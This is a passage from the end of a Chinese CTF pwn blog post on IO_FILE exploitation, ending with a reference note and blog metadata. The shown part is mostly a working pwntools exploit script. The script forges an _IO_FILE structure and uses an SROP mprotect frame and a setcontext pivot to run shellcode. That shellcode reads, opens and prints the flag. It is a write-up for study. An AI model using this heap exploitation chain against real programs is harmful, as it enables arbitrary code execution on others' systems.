fake_io += p64(0) #_wide_data
fake_io += p64(0) #_freeres_list
fake_io += p64(0) #_freeres_buf
fake_io += p64(0) #__pad5
fake_io += p64(vtable) #vtable -> _IO_str_jumps

srop_mprotect = SigreturnFrame()
srop_mprotect.rsp = malloc_hook + 0x8
srop_mprotect.rdi = malloc_hook_base
srop_mprotect.rsi = 0x1000
srop_mprotect.rdx = 7
srop_mprotect.rip = libc_base + libc.sym['mprotect']

# read shellcode
mpro = '''
xor rdi,rdi
mov rsi,%d
mov rdx,0x1000
xor rax,rax
syscall
jmp rsi
'''%malloc_hook_base

payload = fake_io + str(srop_mprotect) + p64(0)*3 + p64(setcontext + 61) + p64(malloc_hook + 0x10) + asm(mpro)
add(14,0x288,payload)

# ===========[get shell]============
choice(2)
p.sendlineafter("you?\n",str(10)) #执行exit(0),Begin ORW
shellcode = shellcraft.amd64.open("flag")
shellcode += shellcraft.amd64.read(3,malloc_hook_base,0x20)
shellcode += shellcraft.amd64.write(1,malloc_hook_base,0x20)
p.sendline(asm(shellcode))

# gdb.attach(p)
p.interactive()

最后附上参考文章的链接

GD师傅

一梦不醒

  • 本文标题:IO_FILE
  • 本文作者:LOLOLO
  • 创建时间:2022-03-06 14:27:38
  • 本文链接:https://lololo-pwn.github.io/2022/03/06/IO-FILE/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论